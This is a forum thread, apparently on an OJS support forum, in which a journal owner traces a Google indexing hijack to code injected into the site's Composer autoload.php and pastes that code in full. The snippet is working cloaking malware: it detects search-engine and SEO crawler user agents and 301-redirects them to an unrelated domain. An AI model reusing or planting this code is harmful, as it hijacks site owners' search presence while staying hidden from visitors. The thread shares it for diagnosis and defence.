Google Indexing Issue: Wrong Title, Canonical Error to Unknown Domain

Hi everyone,

I’m running a journal with OJS 3.4.07. (www.pipj.org) and am facing a very persistent and confusing Google indexing problem.

The Problem:

Everything worked fine until several days ago.

Wrong Title in Google Search Results: When I search for my journal, Google shows the title “Artificial Intelligence on Electronics and Photonics” instead of my actual journal title. However, the links themselves point correctly to my www.pipj.org domain.
Google Search Console Canonical Error: In GSC, the “URL Inspection” tool for my pages (https://www.pipj.org/) states that the Google-selected canonical is https://ai-photonics.com/. Even more confusingly, under “Test Live URL,” it also reports https://ai-photonics.com/ as the “User-declared canonical”.
I have NO connection to ai-photonics.com whatsoever. I’ve never owned it, used it, or set up any redirects to it.

What I’ve Checked and Confirmed (No Issues Found Here):
OJS config.inc.php: My base_url is correctly set to https://www.pipj.org.
OJS Journal Settings: The journal title in Settings > Journal > Title & Contact is correct.
Server-Level Redirects (.htaccess): I’ve thoroughly checked my web server configuration files and confirmed there are NO 301 redirects or any other redirects from pipj.org to ai-photonics.com.

OJS Theme (Bootstrap 3): I’m using a custom Bootstrap 3 theme.
I’ve checked the HTML source code of my pages (www.pipj.org, article pages, issue pages) and found that there are currently NO tags present in the section at all. This seems to be the most immediate on-site problem, but to the best of my knowledge, when I looked at other OJS sites, is not a standard part of the header.

So, the question is - is there a way to solve this issue?

I am attaching a screenshot of the problem.

Thanks in advance

Your HTML code has a <link rel="canonical" href="https://www.pipj.org/index.php/pipj" /> before the HTML root element, which is not valid HTML. I would check your theme first if it creates correct HTML code.

thanks for the reply.
the html code was created after I posted it, to check if something would change

In case someone needs it. after an intensive search, it was an injected code in the autoload.php file

I will copy it here:



<?php
ob_start();

// Menangani Composer Autoload
if (PHP_VERSION_ID < 50600) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    $err = 'Composer 2.3.0 tidak mendukung PHP versi <5.6. 
            Anda menggunakan ' . PHP_VERSION . '. 
            Silakan upgrade PHP atau gunakan Composer 2.2 LTS dengan "composer self-update --2.2".';
    
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, $err);
        } elseif (!headers_sent()) {
            echo $err;
        }
    }
    
    trigger_error($err, E_USER_ERROR);
}

// Load Composer Autoloader
require_once __DIR__ . '/composer/autoload_real.php';
$loader = ComposerAutoloaderInit2b2ed5b56829d5480b78a36175402e46::getLoader();

// Header tambahan untuk caching
header('Vary: Accept-Language');
header('Vary: User-Agent');

// Deteksi User-Agent dan Redirect Jika Bot
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
$targetUrl = "https://ai-photonics.com/";
$botPattern = "/(googlebot|slurp|adsense|inspection|ahrefs|bingbot|yandex|semrush|majestic|screamingfrog)/";

if (preg_match($botPattern, $ua)) {
    header("Location: $targetUrl", true, 301);
    ob_end_flush();
    exit();
}

ob_end_flush();
return $loader;
?>
1 Like